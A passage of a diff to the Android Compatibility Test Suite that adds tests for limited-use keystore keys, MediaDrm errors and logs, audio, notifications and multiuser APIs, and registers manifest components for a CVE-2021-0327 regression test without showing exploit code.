+                    Signature signature = Signature.getInstance(sigAlgorithm, provider);
+                    signature.initSign(keyPair.getPrivate());
+                    byte[] sigBytes = signature.sign();
+                    // Assert that it verifies using our own Provider
+                    signature.initVerify(keyPair.getPublic());
+                    assertTrue(signature.verify(sigBytes));
+
+                    // After using the key, the remaining usage count should be decreased. But this
+                    // will not be reflected unless we loads the key entry again.
+                    info = keyFactory.getKeySpec(keyPair.getPrivate(), KeyInfo.class);
+                    assertEquals(maxUsageCount, info.getRemainingUsageCount());
+
+                    // Reloads the key entry again, the remaining usage count is decreased.
+                    KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+                    keyStore.load(null);
+                    KeyStore.PrivateKeyEntry entry =
+                            (KeyStore.PrivateKeyEntry) keyStore.getEntry(key.getAlias(), null);
+                    info = keyFactory.getKeySpec(entry.getPrivateKey(), KeyInfo.class);
+                    assertEquals(maxUsageCount - 1, info.getRemainingUsageCount());
+
+                    // The second usage of the limited use key.
+                    signature.initSign(keyPair.getPrivate());
+                    signature.sign();
+
+                    // After the usage of limited use key is exhausted, the key will be deleted.
+                    try {
+                        signature.initSign(keyPair.getPrivate());
+                    } catch (KeyPermanentlyInvalidatedException expected) {}
+                } catch (Throwable e) {
+                    throw new RuntimeException(
+                            "Failed for " + sigAlgorithm + " with key " + key.getAlias(), e);
+                }
+            }
+        }
+    }
+
     public void testEmptySignatureDoesNotVerify()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -1259,4 +1320,19 @@
             throw new IllegalArgumentException("Unsupported key algorithm: " + keyAlgorithm);
         }
     }
+
+    static Collection<ImportedKey> importLimitedUseKatKeyPairsForSigning(
+            Context context, String signatureAlgorithm, int maxUsageCount) throws Exception {
+        String keyAlgorithm = TestUtils.getSignatureAlgorithmKeyAlgorithm(signatureAlgorithm);
+        KeyProtection importParams =
+                TestUtils.getMinimalWorkingImportParametersWithLimitedUsageForSigningingWith(
+                        signatureAlgorithm, maxUsageCount);
+        if (KeyProperties.KEY_ALGORITHM_EC.equalsIgnoreCase(keyAlgorithm)) {
+            return ECDSASignatureTest.importKatKeyPairs(context, importParams);
+        } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
+            return RSASignatureTest.importKatKeyPairs(context, importParams);
+        } else {
+            throw new IllegalArgumentException("Unsupported key algorithm: " + keyAlgorithm);
+        }
+    }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/TestUtils.java b/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
index dcfcc85..0392ad5 100644
--- a/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
+++ b/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
@@ -932,6 +932,28 @@
         }
     }
 
+    static KeyProtection getMinimalWorkingImportParametersWithLimitedUsageForSigningingWith(
+            String signatureAlgorithm, int maxUsageCount) {
+        String keyAlgorithm = getSignatureAlgorithmKeyAlgorithm(signatureAlgorithm);
+        String digest = getSignatureAlgorithmDigest(signatureAlgorithm);
+        if (KeyProperties.KEY_ALGORITHM_EC.equalsIgnoreCase(keyAlgorithm)) {
+            return new KeyProtection.Builder(KeyProperties.PURPOSE_SIGN)
+                    .setDigests(digest)
+                    .setMaxUsageCount(maxUsageCount)
+                    .build();
+        } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
+            String padding = getSignatureAlgorithmPadding(signatureAlgorithm);
+            return new KeyProtection.Builder(KeyProperties.PURPOSE_SIGN)
+                    .setDigests(digest)
+                    .setSignaturePaddings(padding)
+                    .setMaxUsageCount(maxUsageCount)
+                    .build();
+        } else {
+            throw new IllegalArgumentException(
+                    "Unsupported signature algorithm: " + signatureAlgorithm);
+        }
+    }
+
     static KeyProtection getMinimalWorkingImportParametersForCipheringWith(
             String transformation, int purposes) {
         return getMinimalWorkingImportParametersForCipheringWith(transformation, purposes, false);
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 8824360..77ab2a4 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -2918,6 +2918,22 @@
             audioTrack.getAudioDescriptionMixLeveldB(), 0.f /*delta*/);
     }
 
+    @Test
+    public void testSetLogSessionId() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        AudioTrack audioTrack = null;
+        try {
+            audioTrack = new AudioTrack.Builder().build();
+            audioTrack.setLogSessionId("Hello World"); // for now, any string will do.
+        } finally {
+            if (audioTrack != null) {
+                audioTrack.release();
+            }
+        }
+    }
+
 /* Do not run in JB-MR1. will be re-opened in the next platform release.
     public void testResourceLeakage() throws Exception {
         final int BUFFER_SIZE = 600 * 1024;
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
index e3c7f6b..9945d8c 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
@@ -21,6 +21,9 @@
 import android.media.MediaDrm.MediaDrmStateException;
 import android.media.MediaDrmException;
 import android.media.MediaFormat;
+import android.media.NotProvisionedException;
+import android.media.ResourceBusyException;
+import android.media.UnsupportedSchemeException;
 import android.media.cts.TestUtils.Monitor;
 import android.net.Uri;
 import android.os.Looper;
@@ -1167,8 +1170,9 @@
                 byte[] ignoredInitData = new byte[] { 1 };
                 drm.getKeyRequest(sessionId, ignoredInitData, "cenc", MediaDrm.KEY_TYPE_STREAMING, null);
             } catch (MediaDrm.SessionException e) {
-                if (e.getErrorCode() != MediaDrm.SessionException.ERROR_RESOURCE_CONTENTION) {
-                    throw new Error("Incorrect error code, expected ERROR_RESOURCE_CONTENTION");
+                if (e.getErrorCode() != MediaDrm.SessionException.ERROR_RESOURCE_CONTENTION ||
+                        !e.isTransient()) {
+                    throw new Error("Expected transient ERROR_RESOURCE_CONTENTION");
                 }
                 gotException = true;
             }
@@ -1250,6 +1254,35 @@
         }
     }
 
+    @Presubmit
+    public void testMediaDrmStateExceptionErrorCode()
+            throws ResourceBusyException, UnsupportedSchemeException, NotProvisionedException {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = null;
+        try {
+            drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+            byte[] sessionId = drm.openSession();
+            drm.closeSession(sessionId);
+
+            byte[] ignoredInitData = new byte[]{1};
+            drm.getKeyRequest(sessionId, ignoredInitData, "cenc",
+                    MediaDrm.KEY_TYPE_STREAMING,
+                    null);
+        } catch(MediaDrmStateException e) {
+            Log.i(TAG, "Verifying exception error code", e);
+            assertFalse("ERROR_SESSION_NOT_OPENED requires new session", e.isTransient());
+            assertEquals("Expected ERROR_SESSION_NOT_OPENED",
+                    MediaDrm.ErrorCodes.ERROR_SESSION_NOT_OPENED, e.getErrorCode());
+        }  finally {
+            if (drm != null) {
+                drm.close();
+            }
+        }
+    }
+
     private String getClearkeyVersion(MediaDrm drm) {
         try {
             return drm.getPropertyString("version");
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmTest.java b/tests/tests/media/src/android/media/cts/MediaDrmTest.java
index adc927e..b4fd272 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmTest.java
@@ -17,10 +17,14 @@
 package android.media.cts;
 
 import android.media.MediaDrm;
+import android.media.NotProvisionedException;
 import android.util.Log;
 import androidx.test.runner.AndroidJUnit4;
+
 import java.util.List;
 import java.util.UUID;
+
+import org.junit.Assert;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -55,4 +59,36 @@
         }
     }
 
+    @Test
+    public void testGetLogMessages() throws Exception {
+        List<UUID> supportedCryptoSchemes = MediaDrm.getSupportedCryptoSchemes();
+        for (UUID scheme : supportedCryptoSchemes) {
+            MediaDrm drm = new MediaDrm(scheme);
+            try {
+                byte[] sid = drm.openSession();
+                drm.closeSession(sid);
+            } catch (NotProvisionedException e) {
+                Log.w(TAG, scheme.toString() + ": not provisioned", e);
+            }
+
+            List<MediaDrm.LogMessage> logMessages;
+            try {
+                logMessages = drm.getLogMessages();
+                Assert.assertFalse("Empty logs", logMessages.isEmpty());
+            } catch (UnsupportedOperationException e) {
+                Log.w(TAG, scheme.toString() + ": no LogMessage support", e);
+                continue;
+            }
+
+            long end = System.currentTimeMillis();
+            for (MediaDrm.LogMessage log: logMessages) {
+                Assert.assertTrue("Log occurred in future",
+                        log.timestampMillis <= end);
+                Assert.assertTrue("Invalid log priority",
+                        log.priority >= Log.VERBOSE &&
+                                log.priority <= Log.ASSERT);
+                Log.i(TAG, log.toString());
+            }
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index 2a0e84f..6fd33e8 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -36,6 +36,7 @@
 import android.os.Process;
 import android.test.InstrumentationTestCase;
 import android.test.UiThreadTest;
+import android.util.Log;
 import android.view.KeyEvent;
 
 import java.io.IOException;
@@ -399,6 +400,24 @@
         }
     }
 
+    public void testCustomClassConfigValuesAreValid() throws Exception {
+        final Context context = getInstrumentation().getTargetContext();
+        String customMediaKeyDispatcher = context.getString(
+                android.R.string.config_customMediaKeyDispatcher);
+        String customMediaSessionPolicyProvider = context.getString(
+                android.R.string.config_customMediaSessionPolicyProvider);
+        // MediaSessionService will call Class.forName(String) with the existing config value.
+        // If the config value is not valid (i.e. given class doesn't exist), the following
+        // methods will return false.
+        if (!customMediaKeyDispatcher.isEmpty()) {
+            assertTrue(mSessionManager.hasCustomMediaKeyDispatcher(customMediaKeyDispatcher));
+        }
+        if (!customMediaSessionPolicyProvider.isEmpty()) {
+            assertTrue(mSessionManager.hasCustomMediaSessionPolicyProvider(
+                    customMediaSessionPolicyProvider));
+        }
+    }
+
     private boolean listContainsToken(List<Session2Token> tokens, Session2Token token) {
         for (int i = 0; i < tokens.size(); i++) {
             if (tokens.get(i).equals(token)) {
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
index 409812d..6e31c44 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
@@ -133,9 +133,11 @@
     public void setUp() throws Exception {
         Log.d(TAG, "setUp");
         super.setUp();
-
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
         mContentResolver = mContext.getContentResolver();
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.WRITE_MEDIA_STORAGE");
         mMediaTranscodeManager = mContext.getSystemService(MediaTranscodeManager.class);
         assertNotNull(mMediaTranscodeManager);
         androidx.test.InstrumentationRegistry.registerInstance(
@@ -155,6 +157,8 @@
 
     @Override
     public void tearDown() throws Exception {
+        InstrumentationRegistry
+                .getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
         super.tearDown();
     }
 
@@ -614,7 +618,8 @@
 
     // Transcoding video on behalf of init dameon and expect UnsupportedOperationException due to
     // CTS test is not a privilege caller.
-    public void testPidAndUidForwarding() throws Exception {
+    // Disable this test as Android S will only allow MediaProvider to access the API.
+    /*public void testPidAndUidForwarding() throws Exception {
         if (shouldSkip()) {
             return;
         }
@@ -644,7 +649,7 @@
                                 transcodeCompleteSemaphore.release();
                             });
         });
-    }
+    }*/
 
     public void testTranscodingProgressUpdate() throws Exception {
         if (shouldSkip()) {
diff --git a/tests/tests/multiuser/src/android/multiuser/cts/UserManagerTest.java b/tests/tests/multiuser/src/android/multiuser/cts/UserManagerTest.java
index 8b50b27..bc9555c 100644
--- a/tests/tests/multiuser/src/android/multiuser/cts/UserManagerTest.java
+++ b/tests/tests/multiuser/src/android/multiuser/cts/UserManagerTest.java
@@ -60,6 +60,14 @@
         boolean expected = getBooleanProperty(mInstrumentation,
                 "ro.fw.mu.headless_system_user");
         assertWithMessage("isHeadlessSystemUserMode()")
-                .that(mUserManager.isHeadlessSystemUserMode()).isEqualTo(expected);
+                .that(UserManager.isHeadlessSystemUserMode()).isEqualTo(expected);
     }
+
+    @Test
+    public void testIsUserForeground_currentUser() throws Exception {
+        assertWithMessage("isUserForeground() for current user")
+                .that(mUserManager.isUserForeground()).isTrue();
+    }
+    // TODO(b/173541467): add testIsUserForeground_backgroundUser()
+    // TODO(b/179163496): add testIsUserForeground_ tests for profile users
 }
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
index edf68de..e46b709 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
@@ -16,6 +16,8 @@
 
 package android.app.notification.legacy29.cts;
 
+import static android.service.notification.NotificationAssistantService.FEEDBACK_RATING;
+
 import static junit.framework.Assert.assertEquals;
 import static junit.framework.Assert.assertTrue;
 import static junit.framework.TestCase.assertFalse;
@@ -37,7 +39,6 @@
 import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.os.ParcelFileDescriptor;
-import android.os.UserHandle;
 import android.provider.Telephony;
 import android.service.notification.Adjustment;
 import android.service.notification.NotificationAssistantService;
@@ -55,12 +56,8 @@
 import org.junit.runner.RunWith;
 
 import java.io.BufferedReader;
-import java.io.FileInputStream;
 import java.io.FileReader;
 import java.io.IOException;
-import java.io.InputStream;
-import java.io.Reader;
-import java.nio.CharBuffer;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
@@ -671,6 +668,23 @@
 
     }
 
+    @Test
+    public void testOnNotificationFeedbackReceived() throws Exception {
+        setUpListeners(); // also enables assistant
+        mUi.adoptShellPermissionIdentity("android.permission.STATUS_BAR_SERVICE", "android.permission.EXPAND_STATUS_BAR");
+
+        sendNotification(1, ICON_ID);
+        StatusBarNotification sbn = getFirstNotificationFromPackage(TestNotificationListener.PKG);
+
+        Bundle feedback = new Bundle();
+        feedback.putInt(FEEDBACK_RATING, 1);
+
+        mStatusBarManager.sendNotificationFeedback(sbn.getKey(), feedback);
+        Thread.sleep(SLEEP_TIME * 2);
+        assertEquals(1, mNotificationAssistantService.notificationFeedback);
+
+        mUi.dropShellPermissionIdentity();
+    }
 
     private StatusBarNotification getFirstNotificationFromPackage(String PKG)
             throws InterruptedException {
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/TestNotificationAssistant.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/TestNotificationAssistant.java
index 684bb02..e8a854b 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/TestNotificationAssistant.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/TestNotificationAssistant.java
@@ -39,6 +39,7 @@
     int notificationHiddenCount = 0;
     int notificationClickCount = 0;
     int notificationRank = -1;
+    int notificationFeedback = 0;
     String snoozedKey;
     String snoozedUntilContext;
     private NotificationManager mNotificationManager;
@@ -140,4 +141,10 @@
 
     @Override
     public void onNotificationClicked(String key) { notificationClickCount++; }
+
+    @Override
+    public void onNotificationFeedbackReceived(String key, RankingMap rankingMap, Bundle feedback) {
+        notificationFeedback = feedback.getInt(FEEDBACK_RATING, 0);
+    }
+
 }
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index 23ff440..b786cf5 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -136,7 +136,6 @@
     @Test
     fun testProfiles() {
         val packageName = "android.os.cts.companiontestapp"
-        runShellCommand("pm uninstall $packageName")
         installApk("/data/local/tmp/cts/os/CtsCompanionTestApp.apk")
         startApp(packageName)
 
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionA/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionA/Android.bp
index 3ce0de3..08946e8 100644
--- a/tests/tests/permission/AppThatAlsoDefinesPermissionA/Android.bp
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionA/Android.bp
@@ -23,5 +23,6 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/Android.bp
index b1ac0da..8487923 100644
--- a/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/Android.bp
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/Android.bp
@@ -23,5 +23,6 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/Android.bp
index f54f561..dd6d36a 100644
--- a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/Android.bp
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/Android.bp
@@ -23,5 +23,6 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/Android.bp
index f76f466..8aed828 100644
--- a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/Android.bp
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/Android.bp
@@ -23,5 +23,6 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatDefinesPermissionA/Android.bp b/tests/tests/permission/AppThatDefinesPermissionA/Android.bp
index 406738c..29f8d52 100644
--- a/tests/tests/permission/AppThatDefinesPermissionA/Android.bp
+++ b/tests/tests/permission/AppThatDefinesPermissionA/Android.bp
@@ -23,5 +23,6 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/Android.bp b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/Android.bp
index 4d52d80..827e340 100644
--- a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/Android.bp
+++ b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/Android.bp
@@ -22,5 +22,6 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/Android.bp b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/Android.bp
index c2cd7d8..7e0bc5d 100644
--- a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/Android.bp
+++ b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/Android.bp
@@ -22,5 +22,6 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/Android.bp b/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/Android.bp
index 104fad9..1889d38 100644
--- a/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/Android.bp
+++ b/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/Android.bp
@@ -22,5 +22,6 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
 }
diff --git a/tests/tests/permission/OWNERS b/tests/tests/permission/OWNERS
index 472beea..25bf9ca 100644
--- a/tests/tests/permission/OWNERS
+++ b/tests/tests/permission/OWNERS
@@ -6,4 +6,4 @@
 per-file Camera2PermissionTest.java = file: platform/frameworks/av:/camera/OWNERS
 per-file OneTimePermissionTest.java, AppThatRequestOneTimePermission/... = evanseverson@google.com
 per-file LocationAccessCheckTest.java = ntmyren@google.com
-per-file NoRollbackPermissionTest.java = mpgroover@google.com
+per-file NoRollbackPermissionTest.java = mpgroover@google.com
\ No newline at end of file
diff --git a/tests/tests/permission/src/android/permission/cts/PowerManagerServicePermissionTest.java b/tests/tests/permission/src/android/permission/cts/PowerManagerServicePermissionTest.java
index ddf8b19..b842cc0 100644
--- a/tests/tests/permission/src/android/permission/cts/PowerManagerServicePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/PowerManagerServicePermissionTest.java
@@ -34,16 +34,6 @@
         }
     }
 
-    public void testGetPowerSaverMode_requiresPermissions() {
-        try {
-            PowerManager manager = getContext().getSystemService(PowerManager.class);
-            manager.getPowerSaveModeTrigger();
-            fail("Getting the current power saver mode requires the POWER_SAVER permission");
-        } catch (SecurityException e) {
-            // Expected Exception
-        }
-    }
-
     public void testSetDynamicPowerSavings_requiresPermissions() {
         try {
             PowerManager manager = getContext().getSystemService(PowerManager.class);
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index a4fb6d8..2f1215c 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -1309,6 +1309,8 @@
 
     <!-- @hide Allows an application to Access UCE-Presence.
          <p>Protection level: signature|privileged
+         @deprecated Framework should no longer use this permission to access the vendor UCE service
+         using AIDL, it is instead implemented by RcsCapabilityExchangeImplBase
     -->
     <permission android:name="android.permission.ACCESS_UCE_PRESENCE_SERVICE"
         android:permissionGroup="android.permission-group.PHONE"
@@ -1316,6 +1318,8 @@
 
     <!-- @hide Allows an application to Access UCE-OPTIONS.
          <p>Protection level: signature|privileged
+         @deprecated Framework should no longer use this permission to access the vendor UCE service
+         using AIDL, it is instead implemented by RcsCapabilityExchangeImplBase
     -->
     <permission android:name="android.permission.ACCESS_UCE_OPTIONS_SERVICE"
         android:permissionGroup="android.permission-group.PHONE"
@@ -2001,6 +2005,12 @@
     <permission android:name="android.permission.ENABLE_TEST_HARNESS_MODE"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows access to ultra wideband device.
+     <p>Not for use by third-party applications.
+     @hide -->
+    <permission android:name="android.permission.UWB_PRIVILEGED"
+                android:protectionLevel="signature|privileged" />
+
     <!-- ================================== -->
     <!-- Permissions for accessing accounts -->
     <!-- ================================== -->
@@ -2262,6 +2272,11 @@
     <permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi Allows read access to privileged network state in the device config.
+         @hide Used internally. -->
+    <permission android:name="android.permission.READ_NETWORK_DEVICE_CONFIG"
+        android:protectionLevel="signature|privileged" />
+
     <!-- Allows to read device identifiers and use ICC based authentication like EAP-AKA.
          Often required in authentication to access the carrier's server and manage services
          of the subscriber.
@@ -2445,6 +2460,15 @@
     <permission android:name="android.permission.BIND_GBA_SERVICE"
         android:protectionLevel="signature" />
 
+    <!-- Required for an Application to access APIs related to RCS User Capability Exchange.
+         <p> This permission is only granted to system applications fulfilling the SMS, Dialer, and
+         Contacts app roles.
+         <p>Protection level: internal|role
+         @SystemApi
+         @hide -->
+    <permission android:name="android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE"
+        android:protectionLevel="internal|role" />
+
     <!-- ================================== -->
     <!-- Permissions for sdcard interaction -->
     <!-- ================================== -->
@@ -5447,17 +5471,23 @@
     <permission android:name="android.permission.INPUT_CONSUMER"
                 android:protectionLevel="signature" />
 
+    <!-- Allows an app to use exact alarm scheduling APIs to perform timing
+     sensitive background work.
+    -->
+    <permission android:name="android.permission.SCHEDULE_EXACT_ALARM"
+                android:protectionLevel="normal|appop"/>
+
     <!-- @hide Allows an application to control the system's device state managed by the
          {@link android.service.devicestate.DeviceStateManagerService}. For example, on foldable
          devices this would grant access to toggle between the folded and unfolded states. -->
     <permission android:name="android.permission.CONTROL_DEVICE_STATE"
                 android:protectionLevel="signature" />
 
-    <!-- Must be required by an {@link android.service.screenshot.ScreenshotHasherService}
+    <!-- Must be required by an {@link android.service.displayhash.DisplayHasherService}
          to ensure that only the system can bind to it.
          @hide This is not a third-party API (intended for OEMs and system apps).
     -->
-    <permission android:name="android.permission.BIND_SCREENSHOT_HASHER_SERVICE"
+    <permission android:name="android.permission.BIND_DISPLAY_HASHER_SERVICE"
         android:protectionLevel="signature" />
 
     <!-- @hide @TestApi Allows an application to enable/disable toast rate limiting.
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index 8a4ed43..5d0ca66 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -117,6 +117,9 @@
             )
         }
 
+        pressBack()
+        pressBack()
+        pressHome()
         pressHome()
     }
 
@@ -153,8 +156,6 @@
             uiDevice.openNotification()
             assertPrivacyChipAndIndicatorsPresent(useMic, useCamera)
         }
-
-        pressBack()
     }
 
     private fun assertTvIndicatorsShown(useMic: Boolean, useCamera: Boolean) {
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 677222d..ab52779 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -54,6 +54,7 @@
         "src/**/*.java",
         "src/android/security/cts/activity/ISecureRandomService.aidl",
         "aidl/android/security/cts/IIsolatedService.aidl",
+        "aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl",
     ],
     //sdk_version: "current",
     platform_apis: true,
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 76fc9cf..45f69c1 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -119,6 +119,58 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.security.cts.CVE_2021_0327.IntroActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.security.cts.CVE_2021_0327.OtherUserActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.security.cts.CVE_2021_0327.TestActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <activity
+             android:name="android.security.cts.CVE_2021_0327.workprofilesetup.ProvisionedActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.app.action.PROVISIONING_SUCCESSFUL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+        <receiver
+            android:name="android.security.cts.CVE_2021_0327.workprofilesetup.AdminReceiver"
+            android:permission="android.permission.BIND_DEVICE_ADMIN"
+            android:exported="true">
+            <meta-data
+                android:name="android.app.device_admin"
+                android:resource="@xml/device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+
+        <provider
+            android:name="android.security.cts.CVE_2021_0327.BadProvider"
+            android:authorities="android.security.cts.CVE_2021_0327.BadProvider"
+            android:exported="false"
+            android:grantUriPermissions="true"
+            android:process=":badprovider" />
+
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index a7d1ede..6e0c8bc4 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -17,7 +17,8 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <!-- CtsDeviceInfo target API is 23; instant app requires target API >= 26. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -33,6 +34,16 @@
             value="appops reset android.security.cts" />
     </target_preparer>
 
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="teardown-command"
+            value="pm remove-user 10" />
+    </target_preparer>
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="teardown-command"
+            value="pm uninstall --user 0 android.security.cts" />
+    </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.cts" />
         <option name="runtime-hint" value="1h40m18s" />
